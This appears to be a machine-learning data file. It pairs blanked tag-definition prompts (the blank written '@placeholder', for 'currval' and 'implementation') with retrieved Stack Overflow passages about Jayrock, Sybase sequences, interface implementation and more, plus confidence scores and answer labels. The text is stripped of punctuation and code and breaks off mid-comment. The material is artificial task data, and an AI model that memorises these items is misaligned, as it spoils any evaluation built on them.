Comment : Thanks a bunch . All this time I thought the .ajax notation was part of ASP.NET . Looks like me and the jQuery docs need some alone time", "Question : Hi quick question about Jayrock.. . I have a Jayrock JSON-RPC web service that generally works fine . However when I try to post to my jqGrid editUrl Jayrock throws an error . The web service works fine in other situations . Anyone have a clue why Jayrock doesn t like the following request Perhaps a way to configure Jayrock to accept this request Request : .. . .. . POST StoryManager StoryManager.ashx setPageItemRoles HTTP 1.1 .. . .. . Host : localhost : 2064 .. . .. . User-Agent : Mozilla 5.0 Windows U Windows NT 5.1 en-US rv : 1.9.1 Gecko 20090624 Firefox 3.5 .NET CLR 3.5.30729 .. . .. . Accept : .. . .. . Accept-Language : en-us en q 0.5 .. . .. . Accept-Encoding : gzip deflate .. . .. . Accept-Charset : ISO-8859-1 utf-8 q 0.7 q 0.7 .. . .. . Keep-Alive : 300 .. . .. . Connection : keep-alive .. . .. . Content-Type : application x-www-form-urlencoded charset UTF-8 .. . .. . X-Requested-With : XMLHttpRequest .. . .. . Referer : http : localhost : 2064 StoryManager PageItemDetail.aspx .. . .. . Content-Length : 183 .. . .. . Cookie : ASP.NET SessionId uycy1qmowzzqhiac1kg3e455 .. . .. . Pragma : no-cache .. . .. . Cache-Control : no-cache .. . .. . title Narrative assignedto dfghdfgh assigned 2009-06-25T14 3A52 3A24.0868931-05 3A00 due 2009-08-02T14 3A52 3A24.0868931-05 3A00 completed 2009-07-17T14 3A52 3A24.0868931-05 3A00 id 3 .. . .. . Response : .. . .. . id : null error : name : JSONRPCError message : Found String where Object was expected . stackTrace : at Jayrock.Json.JsonReader.ReadToken JsonTokenClass token in c : Projects Public Jayrock rel rel-0.9.8316 src Jayrock.Json Json JsonReader.cs : line 142 r n at Jayrock.JsonRpc.JsonRpcDispatcher.ParseRequest TextReader input in c : Projects Public Jayrock rel rel-0.9.8316 src Jayrock JsonRpc JsonRpcDispatcher.cs : line 271 r n at Jayrock.JsonRpc.JsonRpcDispatcher.Process TextReader input TextWriter output in c : Projects Public Jayrock rel rel-0.9.8316 src Jayrock JsonRpc JsonRpcDispatcher.cs : line 127 errors : name : JsonException message : Found String where Object was expected . .. . Answer : Because you send application x-www-form-urlencoded request with form-like post data instead of application json with correct json object . Comment : Thanks . I figured that out but forgot to post the answer here", "Question : I have been using the JayRock framework with ASP.NET to return JSON being consume via javascript . Everything has worked fine until I changed the .ajax call from a GET to a POST . Upon that change I now receive this error . Here is my javascript : .. . .. . Anyone have any ideas Thanks in advance . Comment : Is that url expecting to receive a post If it s only look for GET values then you d still have to pass parameters in the URL . Comment : Same thought as Marc but the right thing to do is get the parameters on the server-side from the POST not to send them redundantly in the URL . Comment : I don t guess I understand I m using Jayrock I assume it handles the difference for me I can t seem to find any setting. . I have googled this problem all day .. . Answer : Here is the definition of what should do : Comment : actually i was attempting to send data but simplified the code just to try to get a response from a post. . here is the data. . var tmp assID : 52 var tmpObj .parseJSON tmp then within the ajax call. . data : tmpObj Comment : @GregTyndall I have edited my answer Comment : making progress...now I get a server error I can see with firebug. . Notification are not yet supported . Jayrock issue Comment : Does your problem is that : If the ID is not there or was not set then this is a notification request from the client that does not expect any response . Right now we don t support this . from here : java2s.com Open-Source CSharp Development Jayrock Jayrock http : www.java2s.com Open-Source CSharp Development Jayrock Jayrock JsonRpc JsonRpcDispatcher.cs.htm Comment : so it means you should set id to something . I mean as like : var dataString id : 1 assID : 52", "Question : I want to know how to use a Json web service in windows-phone application . I am aware that Jayrock has to be used but I would like some examples . I want to call some methods in the webservice which is given to me in the form of http : something service.json Please help . Comment : Why does Jayrock have to be used Comment : I guess for the .NET implementation of Json and JSON-RPC. . .. . Answer : I did something similar to this. . .. . .. . http : www.silverlightshow.net items Consume-JSON-with-Windows-Phone-a-seamless-solution.aspx .. . .. . But my service was much simpler and did not need all the wcf stack so I instead hosted it as an asp .net mvc page and render the page in json instead of html . You can then use json serializer to parse the data in C Comment : for the info I have not hosted this service . It is a web service that I want to use . I only know the methods return types and parameters .", "Question : I have the following class structure .. . .. . When I export to Json using Jayrock.Json.Conversion.JsonConvert.ExportToString List AreaField obj everything works fine . The problem is when I attempt to import it back to a list of AreaField the native import fails . What I am trying to is .. . .. . Is there a way to maybe override the import method EDIT : Yes jayrock knows the type of the object . My guess it has to do something with me serializing a list . Exception - Cannot import AreaField from a JSON Array value . .. . Answer : It doesn t work is not a good start . Exception Wrong data Does Jayrock know the type of the object", "Question : I have been using the JayRock framework with ASP.NET to return JSON being consume via javascript . Everything has worked fine until I changed the .ajax call from a GET to a POST . Upon that change I now receive this error . Here is my javascript : .. . .. . Anyone have any ideas Thanks in advance . Comment : Is that url expecting to receive a post If it s only look for GET values then you d still have to pass parameters in the URL . Comment : Same thought as Marc but the right thing to do is get the parameters on the server-side from the POST not to send them redundantly in the URL . Comment : I don t guess I understand I m using Jayrock I assume it handles the difference for me I can t seem to find any setting. . I have googled this problem all day .. . Answer : You need to add your parameters as data in the config values.. . .. . .. . just replace the contents of data with your actual values . As it stands you are posting to a page but sending no post vars .", "Question : null .. . Answer : I am trying to code a plugin for MediaPortal to display stats from my transmission-daemon client running on a server . I am a real novice coder in C and I am looking for a simple bit of code to simply reach the rpc server using authentication and ask it what version it is running then return the results . I have tried a fair few things with no success trying to use WebClient along with JayRock .. . any help appreciated . https : trac.transmissionbt.com browser trunk extras rpc-spec.txt Comment : Did you try google Here http : jayrock.berlios.de s the first hit . Comment : Hi yes I am using Jayrock already really I am looking how to implement it .. .", "Question : null .. . Answer : UPDATE : So I ve figured it out All I had to do was use jQuery.parseJSON and it converted the JSON string into a JSON Object . Here is the updated code : .. . .. . Ok I ve written a function to query a table and return a dataset then convert it to JSON so the page can use it . The function is below : .. . .. . The function works great in .Net 4 but I can t use it with .Net 2 . So I found a JSON.Net Object called Jayrock http : jayrock.berlios.de . I changed my function to use it and everything works . Here is the revised function : .. . .. . The only problem is when it returns the JSON the page can t parse it . Here is an example of the outputs from both functions : .. . .. . First Version : object Object object Object object Object .. . .. . .. . Revised Version : d : Value : 501 Display : Record Number 501 Value : 502 Display : Record Number 502 .. . .. . .. . As you can see the revised version returns an actual string That contains the correct data where as the first version returned a JSON Object . I know it s because of the function returning as a String but for the life of me I can t figure out how to return a JSON Object using the revised code . Does anybody have an idea on how to do this or a better solution I m stumped Also please remember that this is for .Net 2 sucks I know : .. . .. . Thank you for your time EDIT Here is some of the client-side code that I m using : .. . .. . I had an alert item inside of the inner-most loop . It was going letter by letter through the string . Comment : Can we see some client-side code Comment : Added the client code but that shouldn t change nor need to change correct It was working before and the only thing I changed was the GetNextEEs function . Comment : I think WebMethod adds the d attribute to the response automatically . But Jayrock also adds the d attribute to the JSON . So Jayrock does not play nice with WebMethod . I guess you should do .each msg.d.d function .. . on the client-side . Comment : I just tried that unfortunately it displays undefined : Thanks for the suggestion though Comment : I ve figured it out I created a new var and used jQuery.parseJSON msg.d and it converted the JSON string to a JSON object . Yes Whoo Haha .", "Question : I am using Jayrock.Json.Conversion.JsonConvert.ExportToString myObj and the resulting string converts the first character of the property name to a lower case . So if I had FirstName as the property of myObj the resulting string has firstName .. . .. . This doesn t sit nicely with a jquery template I am using that has an alternate data source with upper case first character property names . I understand that they introduced JsonMemberNameAttribute that may take care of this issue but I was wondering if there s an alternate json serializer . PS : I am using .NET 4.0 Comment : Are you asking about an alternate way to do this using Jayrock or an alternative to Jayrock entirely Comment : @NT3RP I am open to both ideas .. . Answer : I used the System.Web.Script.Serialization.JavaScriptSerializer serializer and it works as expected .", "Question : I am trying to return a JSON object from an aspx page using Jayrock.JSON . My code for writing it out is this : .. . .. . This is inside of an rdr.Read loop . The outputted JSON looks like this : though I added the line-breaks manually .. . .. . I m not really sure what I m doing wrong but on my page reading this JSON when I try to do .evalJSON using prototypejs I get errors saying that the JSON is malformed . Can anyone advise me what to change .. . Answer : The problem is that you are writing multiple JSON objects whereas what you are probably trying to do is produce a JSON array of JSON objects . Given your code snippet I m assuming rdr holds some IDataReader implementation like SqlDataReader . If that s true then you need to modify your code to start and end a JSON array around the outer read loop as follows : .. . .. . Jayrock will automatically delimit each JSON object value with a comma when inside a JSON array so now the output should resemble the following and valid JSON :", "Question : I am having a problem with JayRock where I am intermittently receiving Missing Value errors . I cannot recreate the error but it is happening in production around 100-150 times a day out of tens of thousands of requests . After investigation it has been discovered that on the requests which fail there is no RequestBody element in the HTTP Request . Normally it would look like this : .. . .. . urlfield .. . .. . RequestBody id : 1 method : getAllAirports params : .. . .. . cookies .. . .. . But in cases where it hasn t worked the request contains : .. . .. . urlfield .. . .. . cookies .. . .. . I am using the default JayRock proxy and by using the test page the requests are always working . Has anybody come across this before Or have any ideas Many thanks .. . .. . Iain .. . .. . UPDATE : Looking at the data it seems exclusively an error in IE with errors in IE7 8 9 and 10 . Although 8 has by far the most errors even though it s traffic is comparable to 9 and less than 10 . .. . Answer : Seems like a parsing problem from Jayrock http : jayrock.googlecode.com hg src Jayrock.Json Json JsonTextReader.cs Comment : please explain where exactly is the problem so that it can help the Op find a solution", "Question : I have a request parameter in my ASP.NET app . that is in JSON format and I was wondering if there is a good quick and easy way to convert a JSON string to a Jayrocks JsonObject so I can easily extract key-value pairs without the need to manually parse the string .. . Answer : I don t know Jayrock but if you want to accept a JSON object as a parameter of Action in MVC2 than the easiest way to do it is by using JsonValueProviderFactory http : haacked.com archive 2010 04 15 sending-json-to-an-asp-net-mvc-action-method-argument.aspx from Futures assembly . It s part of System.Web.Mvc in MVC3 .", "Question : I am attempting to parse some json I am getting back from a service . For example it s returning .. . .. . All I need is the text in the message field . Using jayrock what is the easity way to get to the data . I have : .. . .. . what is the most efficant way of getting the message data .. . Answer : I can only speak for myself but I d write it this way : .. . .. . P.S . : Don t forget to import Jayrock.Json and Jayrock.Json.Conversion", "Question : I want to convert a Json string to an Object in C . the string is like this : .. . .. . I define the class like this : .. . .. . And I use this code to convert : .. . .. . I found it just converted the dealName field but the properties count is 0 . So what s the problem How to fix it Many thanks .. . Answer : Please try : Comment : Thank you But I wan to convert with jayrock . Comment : do you mean : DealInfo JsonConvert.DeserializeObject jsonString typeof DealInfo", "Question : I have the following class structure .. . .. . When I export to Json using Jayrock.Json.Conversion.JsonConvert.ExportToString List AreaField obj everything works fine . The problem is when I attempt to import it back to a list of AreaField the native import fails . What I am trying to is .. . .. . Is there a way to maybe override the import method EDIT : Yes jayrock knows the type of the object . My guess it has to do something with me serializing a list . Exception - Cannot import AreaField from a JSON Array value . .. . Answer : It looks like you re exporting a List AreaField but attempting to import an AreaField singular . Try :", "Question : I have the following class structure .. . .. . When I export to Json using Jayrock.Json.Conversion.JsonConvert.ExportToString List AreaField obj everything works fine . The problem is when I attempt to import it back to a list of AreaField the native import fails . What I am trying to is .. . .. . Is there a way to maybe override the import method EDIT : Yes jayrock knows the type of the object . My guess it has to do something with me serializing a list . Exception - Cannot import AreaField from a JSON Array value . .. . Answer : List won t works but array works . Like this :" ] }
[ "yes-answer-long", "yes-answer-short" ]
.net
UNK_RELATION
currval@database-sequence@85
currval -- currval is used in sybase sap sql anywhere to get the current value of a @placeholder .
{ "confidence": [ 60.723140716552734, 33.488399505615234, 14.82067584991455, 14.82067584991455, 14.82067584991455 ], "content": [ "Is it possible to get the current value of a sequence in sybase sap sql anywhere", "I want to show the value but do not want to call .nextval and i can not use .currval if i doN t have called .nextval before in the same database-connection .", "P.S .", ": it is not stored in syssequence .", "Thank you very much" ] }
{ "confidence": [ 80.41930389404297 ], "content": [ "Question : null .. . Answer : Is it possible to get the current value of a sequence in sybase sap sql anywhere I want to show the value but do not want to call .nextval and i can not use .currval if i doN t have called .nextval before in the same database-connection . P.S . : it is not stored in syssequence . Thank you very much" ] }
[ "yes-answer-long", "yes-answer-short" ]
database-sequence
UNK_RELATION
implementation@http@57
implementation -- this tag is in the process of removal @placeholder : meta.stackoverflow.com questions 251723 remove-implementation .
{ "confidence": [ 24.18067169189453, 24.006759643554688, 23.56092071533203, 23.377464294433594, 23.28329849243164, 23.28329849243164, 22.936676025390625, 22.936676025390625, 22.779064178466797, 22.39057159423828, 22.333576202392578, 22.333576202392578, 22.333576202392578, 22.333576202392578, 22.333576202392578, 22.333576202392578, 22.333576202392578, 22.333576202392578, 22.333576202392578, 22.333576202392578, 22.333576202392578, 22.333576202392578, 22.279695510864258, 22.122447967529297, 21.729022979736328, 21.551719665527344, 21.551719665527344, 21.551719665527344, 21.551719665527344, 21.551719665527344, 21.551719665527344, 21.551719665527344, 21.551719665527344, 21.551719665527344, 21.536788940429688, 21.519350051879883, 21.519350051879883, 21.519350051879883, 21.519350051879883, 21.519350051879883, 21.519350051879883, 21.433006286621094, 21.37317657470703, 21.146575927734375, 20.927589416503906, 20.866546630859375, 20.737491607666016, 20.737491607666016, 20.737491607666016, 20.737491607666016, 20.54347801208496, 20.54347801208496, 20.54347801208496, 20.54347801208496, 20.54347801208496, 20.54347801208496, 20.54347801208496, 20.54347801208496, 20.54347801208496, 20.54347801208496, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.501678466796875, 20.27195167541504, 20.27195167541504, 20.27195167541504, 20.27195167541504, 20.27195167541504, 20.227745056152344, 20.227745056152344, 20.11444854736328, 19.945072174072266 ], "content": [ "To designate that GetStuff is the implementation of IFirst and GetOtherStuff is the implementation of ISecond", "possible duplicate of implicit vs explicit interface implementation http : stackoverflow.com questions 598714 implicit-vs-explicit-interface-implementation", "Here s my implementation :", "Resharper implementation :", "Which Python implementation are you asking about", "It is legit and the answer does not depend on the Python implementation at all .", "The reason the compiler is saying that the implementation is missing is simply because the implementation is missing .", "A portable implementation i.e . implementation that s standard-compliant itself can t do that .", "Some pointers for a fast implementation : .. . .. . 1 .", "The categories implementation can not exist with a partial implementation of the protocol .", "That s implementation dependent .", "So where is the implementation", "If not what s wrong with my implementation", "My Dijkstra implementation :", "Sun opensourced its implementation .", "Here is my implementation of the project .", "This is the outline of the idea not a full implementation .", "Is there a drawback in my implementation", "There s no equivalent implementation in Haskell .", "Such an implementation would not typecheck .", "TableExists is an explicit implementation .", "I have added the implementation .", "At first I want to let you know that this question is not related with What is native implementation in Java http : stackoverflow.com questions 557574 what-is-native-implementation-in-java .", "No serious REFERENCE IMPLEMENTATION would be else but a single-block ECB implementation .", "String in the editor - Go to - Implementation s .. . as of idea 14.0.2", "Question : .. . .. . Is there any such implementation open-source", "It is a resizable-array implementation of the List interface .", "If it s lhs choose the second implementation .", ".. . .. . That would depend on the implementation of these hypothetical interpreters .", "My O nlogn implementation is as follows :", "The meaning of is somewhat implementation dependent in C .", "I did not do an explicit implementation .", "static function is visible only in implementation .", "You have an explicit interface implementation .", "The start of the implementation would look something like the following.. .", "It s an implementation detail .", "Implementation of this method is simple in such a case :", "This is an example of explicit interface implementation .", "Your implementation is incorrect .", "It is one possible implementation of the instance .", "This was the first implementation that occured to me .", "Might be interesting : This previous question stackoverflow.com questions 13728581 http : stackoverflow.com questions 13728581 pseudocode-for-cyk-algorithm-please cites this C++ implementation nitishkr.wordpress.com 2011 03 29 cyk-algorithm-implementation http : nitishkr.wordpress.com 2011 03 29 cyk-algorithm-implementation", "Or maybe the OS applies it s own stack implementation into each running process", "B has a different implementation of the interface than A it adds something to A s implementation .", "It can also be simplified to remove the second explicit interface implementation if you don t care about exposing the MoveFunc to callers :", "If I make a JVM in Java for example is it possible to make the implementation I made actually faster than the original implementation I used to build this implementation even though my implementation is built on top of the original implementation and may even be dependant on that implementation", "As @lhf says the rest is an implementation detail .", "Why it is not possible to place it in implementation of constructor", "Why use Boehm for a language implementation", "Any ideas for other implementation structures", "And there was no reference implementation for J2EE as a whole .", "It s implementation-dependent .", "Is there a code on the PHP implementation for this algorithm", "Surprised the exact implementation is not touched .", "Or is the value implementation defined", "It dictates behavior not implementation .", "Then leave out the implementation .", "Any reference about this implementation", "Explicit interface implementation is a bandaid .", "Explicit interface implementation is different .", "Where I can find implementation of Queue classes", "The hidden classes are not concept they are internal detail of the implementation .", "That way you can change implementation details of a class .", "A full C implementation provides a hosted C environment .", "But the OP was asking about the internal implementation not how to use it .", "It s the first implementation on the Twofish web site .", "In general case there is no advantage to one implementation over the other .", "Which Python implementation was used to implement PyPy", "So is the support for is Enum according to the specification or is it an implementation decision", "I m sure that it is not an implementation detail that it can used like this .", "Is my VM capable of supporting a sensible implementation of eval", "All other classes should be considered implementation details .", "This is one way to choose a platform specific implementation .", "You have only one implementation now .. .", "I have written the following implementation of MD5 algorithm .", "So please specify which implementation you re referring to .", "Yes I am looking for Sun s implementation", "There is no second explicit implementation and there are no partial-classes involved .", "An interface might provide its own implementation as a default .", "The implementation Android uses is XmlBlock.Parser but that is not a public API .", "Is there a XmlResourceParser public implementation I can use", "I found Kevin Murphy s implementation to be very rigid .", "Note : I won t actually use my implementation .", "It is possible to write an implementation using a different strategy of course .", "To add a new implementation you need to change the interface .", "There is no warning that this property should be removed on the implementation class .", "how well respected is doug lea s implementation", "Explicit implementation of an interface should never be needed or used .", "An alternative compatible implementation would be iterator .forEachRemaining action", "The problem is Car already has a direct implementation when it should now simply be a level of abstraction without an implementation .", "As @ShawnChin said I am looking for JavaScript implementation written in Python not Python compiler implementation targeting JavaScript .", "From an implementation point of view you can start with an asynchronous event-loop implementation .", "The question is.. . How do I invoke the specific implementation of that Interface on the user-end side without revealing the internals of that specific implementation", "Therefore in the implementation that wraps their library every implementation class has a method getCode that is not explicitly required by the interface API .", "See yield statement implementation http : stackoverflow.com questions 742497 yield-statement-implementation this answer http : stackoverflow.com q 4683153 1583 by Eric Lippert and this blog post http : csharpindepth.com Articles Chapter6 IteratorBlockImplementation.aspx by Jon Skeet .", "strike This is the best you can do in Java : strike Edit : See Brent s post http : stackoverflow.com questions 3642452 java-n-tuple-implementation 3642623 3642623 for a better implementation of Tuple .", "When your speaker class implements an interface they have to provide an implementation .", "Though neither question specifies an implementation so I suppose in both cases the correct answer is it could be anywhere ." ] }
{ "confidence": [ 23.9677734375, 23.848052978515625, 21.926284790039062, 21.613121032714844, 21.454944610595703, 20.92983627319336, 20.873779296875, 20.03449249267578, 19.981792449951172, 19.894371032714844, 19.74663543701172, 19.724929809570312, 19.563308715820312, 19.539772033691406, 19.303815841674805, 19.303815841674805, 19.23703956604004, 19.182878494262695, 19.126689910888672, 18.9952392578125 ], "content": [ "Question : Below is an implementation of Dijkstra s algorithm I wrote from the pseudocode in the Wikipedia article http : en.wikipedia.org wiki Dijkstra 27s algorithm Pseudocode . For a graph with about 40 000 nodes and 80 000 edges it takes 3 or 4 minutes to run . Is that anything like the right order of magnitude If not what s wrong with my implementation .. . Answer : There are several things you can improve on this : .. . .. . implementing the priority-queue with sort and erase adds a factor of E to the runtime - use the heap functions http : www.cplusplus.com reference algorithm make heap of the STL to get a log N insertion and removal into the queue . do not put all the nodes in the queue at once but only those where you have discovered a path which may or may not be the optimal as you can find an indirect path through nodes in the queue . creating objects for every node creates unneccessary memory fragmentation . If you care about squeezing out the last 5-10 you could think about a solution to represent the incidence matrix and other information directly as arrays . Comment : Thanks for your reply . I m getting the impression that my current implementation isn t outrageously bad and that with your suggestions I might expect an execution-time of 1 to 3 minutes for a problem with 40 000 nodes . Executions times closer to 30 seconds or 1 second are not reasonable . Is this true", "Question : How is the ui : include tag implemented Where can I find its implementation source code .. . Answer : That s implementation dependent . In Mojarra http : javaserverfaces.java.net it s the com.sun.faces.facelets.tag.ui.IncludeHandler http : grepcode.com file repo1.maven.org maven2 com.sun.faces jsf-impl 2.1.7 com sun faces facelets tag ui IncludeHandler.java . In MyFaces http : myfaces.apache.org it s the org.apache.myfaces.view.facelets.tag.ui.IncludeHandler http : www.grepcode.com file repo1.maven.org maven2 org.apache.myfaces.core myfaces-impl 2.1.6 org apache myfaces view facelets tag ui IncludeHandler.java .", "Question : I need a Rolling hash to search for patterns in a file . I am trying to use the rabin-Karp string-search algorithm . I understand how a good hash works and how a good rolling hash should work but I am unable to figure out how to efficiently implement the divide or inverse multiplication when rolling the hash . I also read rsync uses rolling version of adler32 but that doesn t looks like a random enough hash . Ideally it will be great if you can point me to an optimized C C++ implementation but any pointers in the right direction will help . .. . Answer : Cipher s prime base idea should work decently - though the solution he posted looks a bit sketchy . I don t think there s any need for inverse multiplication in this method . Here s my solution : .. . .. . Say the string we currently have hashed is abc and we want to append d and remove a . Just like Cipher my basic hash algorithm will be : .. . .. . Now to implement sliding : .. . .. . We d like to add something at the end and remove the first value so .. . .. . First we can add the last letter : .. . .. . Then simply subtract the first character : .. . .. . An important note : you have to be careful about overflow . You can choose to just let it overflow unsigned int but I think it s much more prone to collision but also faster Here s my implementation : Comment : @community Why MOD should be prime number . Can you please give me some source where I could check this . Because here : stackoverflow.com questions 5835946 http : stackoverflow.com questions 5835946 how-to-reduce-a-bigger-string-in-smaller-string-in-c-probably-by-hashing 5836274 5836274 we have a big discussion about this topic and couldn t come over one opinion .", "Question : Situation : .. . .. . I implement an interface implicit and remove a property on the interface later . There is no warning that this property should be removed on the implementation class . I know I could implement the interface explicitly but I would try to go around that . .. . .. . EDIT : added a question .. . .. . How can I be notified warned .. . that I maybe no longer need the member in the implementing class Comment : So what is the question here Comment : There s nothing built-in to do that . You may be able to add a new incompatible property to the interface using the same name then use the compiler errors to track down the offending code then remove the new property Comment : It is impossible to detect as the class is still valid regardless if the given property respects an interface or not . Explicit interface implementation will give you the compile-time error you seek and if you need implicit exposure of the property method you can always have both implicit and explicit implementations . The latter is a manner to just have the indication the interface no longer supports a given method property so you can make informed decision while working with the implementing types Comment : Resharper can detect some dead-code solution wide analysis but it is very slow and add little icons showing that the property satisfies an interface . Comment : Visual Studio adds the interface-members in a region.. . so it is obviously at least for human that it shouldn t be there anymore.. . is there a code-analysis-tool ore similar that could tell me that .. . Answer : There is no way the compiler can give you such a warning in C . It would somehow need to have knowledge of past versions of the interface to know what method property was removed and therefore identify possible candidates for removal . And answering your commentary you can not make the compiler refactoring tool decide if any given method is a candidate simply based on the region its defined in . There is absolutetly nothing that enforces any given method to be defined in any given region its just visual sugar so refactoring based on regions would be completely unsafe . Sometimes verbose languages do have advantages and in this case VB with the implements keyword would make this a compile-time error . In C you have to use explicitly implemented interfaces which is not a bad option at all . Read here http : www.codeproject.com Articles 392516 Why-I-use-explicit-interface-implementation-as-a-d for more details . Comment : Maybe I am getting convinced to use explicit more often in future.. . but what about existing code Even Resharper cannot make implicit -- explicit completely automated as far as I could find out Comment : @joerg Well refactoring implicit to explicit is a major breaking change so I m not sure that is an option you d want to take with existing code . Comment : You are right.. . it s just very annoying to often find this no-longer-needed-properties in my implementations.. .", "Question : I m not clear about where to put the if switch when choosing what implementation subclass to instantiate specially when considering that now interfaces can have static-methods . Let s say I have a service a type defined by an interface and a couple of implementations . I guess that it d be better not to put that logic in the service but to have factory-method . But should it go in the interface or in another class with a param-to-type map as suggested in this answer http : stackoverflow.com a 5089830 It seems natural to me to put it in the interface : .. . .. . and then just simply call it from the service : .. . .. . But I don t know if it s bad having the interface knowing about its implementation or a parent class knowing about its subtypes . So .. . .. . 1 . Where should I put that logic 2 . Would that change a lot if I m choosing subclasses of a type Comment : Are you perhaps looking for the stackoverflow.com questions 708336 https : stackoverflow.com questions 708336 beginner-factory-pattern-in-java Comment : Something along those lines but also if it s a good idea avoiding the factory class and putting that in the interface itself . .. . Answer : Use Factory for this . This way you will be able to maintain single responsibility principle . In one of my own projects interface however defines method that determines for what type of argument should this particular implementation be used . Thanks to this and using Reflections whole process is automated . Reflections finds all classes that implements given interface and store its usage-type in a map for fast lookup . Thanks to such solution all the developer has to do if he needs new implementation is to just create it . No other modifications are required in other parts of the system not even in factory class . Reflections has nice feature to store metadata on compile-time so runtime lookup for proper classes is a blink of an eye Comment : Thanks to such solution all the developer has to do if he needs new implementation is to just create it . . But he or someone will need to define the criteria for choosing one of the implementations right And the criteria goes in the interface Comment : Yes and No - Interface force implementing class to provide such criteria by declaring some kind of method eg . getProcessingType . When creating implementation for new ProcessingType you developer will provide criteria while creating it . Comment : Going back to my question . What you propose is having a Factory class with a single static method right Comment : Yes that is correct .", "Question : Take this example : .. . .. . Why is the implicit implementation of IFoo Bar necessary even though Foo converts to IFoo without a cast Comment : Why are you doing this at all You are effectively tying users of Foo to the concrete implementation making mocking for unit tests difficult and generally increasing coupling in your application.. . Comment : The two approaches are pretty much mutally exclusive . Both work but have different purposes . You wouldn t use both approaches for the same interface in the same concrete class at least not that I can think of Comment : @SteveCzetty Hence the OP s question where explicitly implementing the interface is necessary . Comment : @AaronMcIver My point is that any class that references the concrete version of Foo instead of IFoo is going to be coupled to that particular implementation . Comment : possible duplicate of implicit vs explicit interface implementation http : stackoverflow.com questions 598714 implicit-vs-explicit-interface-implementation .. . Answer : I d recommend that you kept the implicit implementation as protected instead of public . there is a pretty extensive answer for why when to use explicit implementation in this thread : .. . .. . implicit vs explicit interface implementation http : stackoverflow.com questions 598714 implicit-vs-explicit-interface-implementation .. . .. . A good reason for using the explicit implementation is that you can easily use dependency-injection to have a more loose coupling when you use your Foo class .", "Question : I wanted to know if there is a full implementation of MSER Maximally stable extremal regions http : en.wikipedia.org wiki Maximally stable extremal regions in MATLAB The ones at VLFeat http : www.vlfeat.org vedaldi code mser.html are Mex or C++ implementations and are imported to Matlab .. . .. . Thanks for the guidance . Comment : If you have to add a new tag that s a good sign you need to explain the acronym in your question . Comment : Well probably right you are : .. . Answer : Yeah CVS toolbox http : www.mathworks.de products computer-vision does have the complete implementation of MSER detector .Check the detectMSERFeatures.m file .", "Question : If I make a JVM in Java for example is it possible to make the implementation I made actually faster than the original implementation I used to build this implementation even though my implementation is built on top of the original implementation and may even be dependant on that implementation Confusing.. . .. . .. . Look at PyPy http : pypy.org . It s a JIT Compiler for Python made in Python . That s alright but how can it claim to be faster than the original implementation of Python which it is using and is dependent on Comment : I don t know pyton but to do a JVM in java you ll need to write a lot of native methods in another language say C++ . Comment : Why the unaccept Comment : Sorry . I just did it to consider the latest answer for a possible accept . Looking through the new answer right now if better than I will accept otherwise I ll reaccept the previous one . .. . Answer : The pypy translation process runs on CPython but the output is a list of .c files 19 files last time I checked which are then compiled to a binary : pypy-c . At runtime pypy-c does not have any relation with CPython that s why it can be faster .", "Question : I wanted to know if there is a full implementation of MSER Maximally stable extremal regions http : en.wikipedia.org wiki Maximally stable extremal regions in MATLAB The ones at VLFeat http : www.vlfeat.org vedaldi code mser.html are Mex or C++ implementations and are imported to Matlab .. . .. . Thanks for the guidance . Comment : If you have to add a new tag that s a good sign you need to explain the acronym in your question . Comment : Well probably right you are : .. . Answer : How about detectMSERFeatures http : www.mathworks.com help toolbox vision ref detectmserfeatures.html in the CVS toolbox Comment : Does it provide the complete implementation which I can look at Comment : Sorry I don t have the newest version of Matlab so my CVS toolbox doesn t contain this function . However there is complete Matlab code for other functions in the toolbox e.g . estimateFundamentalMatrix so I suppose there will be a complete implementation for detectMSERFeatures as well . Comment : OK may be I need to get Matlab and check it myself . If I find the code will mark your answer . Thanks", "Question : I would like the get a similar output on documented c++ implementation files not header-files like the output generated with docco http : jashkenas.github.com docco . Is there such a tool Comment : Have you seen Doxygen http : www.doxygen.org Comment : Sure but I was looking for side-by-side documentation like in docco . .. . Answer : the docco source git-repo has c support . if you clone it you can install it locally with npm . however : .. . .. . i had to compile the docco.coffee to javascript : .. . .. . cd docco src .. . coffee -c docco.coffee .. . cp docco.js . . lib .. . .. . .. . if you have header and c files with matching names in the same directory one overwrites the other . for some reason everything node.js related is segfaulting like crazy but i think this must be something wrong with my install luckily docco segfaults at the end after generating the output . update - as a fix for the overwrite issue i cloned the repo and dropped the removal of the file extension . so foo.h now goes to foo.h.html which doesn t over-write foo.c.html . you can grab a copy from https : github.com andrewcooke docco .. . .. . i also recompiled the javascript so to use do something like :", "Question : At time 0 : 43 : 15 in this Tech-Talk about D http : www.youtube.com watch v RlVpPstLPEc The implementation of the min function is discussed . Concerns about stability and extra shuffling if values are equal when being used in some algorithm s is proposed as one of the reasons for the implementation shown . Can anyone provide a real practical use-case or provide a more detailed explanation where this specific implementation of min is stable aka better as opposed to its other possible implementation Or is this just another example of alpha-geeks going a bit too far Recommended implementation : .. . .. . Other possible implementation : .. . .. . Proposal N2199 http : www.open-std.org jtc1 sc22 wg21 docs papers 2007 n2199.html provides implementations that are based on the latter please note that the proposal was not successful at this time . Other relevant proposals relating to min max are N1840 http : www.open-std.org jtc1 sc22 wg21 docs papers 2005 n1840.pdf N2485 http : www.open-std.org jtc1 sc22 wg21 docs papers 2007 n2485.pdf and N2551 http : www.open-std.org jtc1 sc22 wg21 docs papers 2008 n2551.pdf Comment : I don t get it . I can t see any advantage for one of the implementation you show . At some point one of them must be chosen.. . Comment : I find it highly amusing how a question of very narrow focus and limited applicability is rated extremely highly when a question of very broad focus and applicable to almost everybody gets called off-topic . I know that in programming details can be extremely important . But this one is very narrowly important and I would never depend on the stability of min to be correct in code I wrote anyway because it s too tiny a detail to depend on anybody getting right . Comment : @Omnifarious : I think you have misunderstood the issue its not about something trivial but rather an issue that has been haunting C++ for the last 10 years but to further that one of the world experts in the language and some people at a somewhat prestigious organisation such as Google have made a comment and made it sound soo normal and matter of fact when most in the industry would agree to the contrary that one can t help but wonder if this is another Kepler or Galileo situation of calling the world round.. . most likely its all just nonsense but why not discuss it Comment : @sonicoder - I think it s worth discussing . I think it deserves a rating of about 2 . So I think that it s 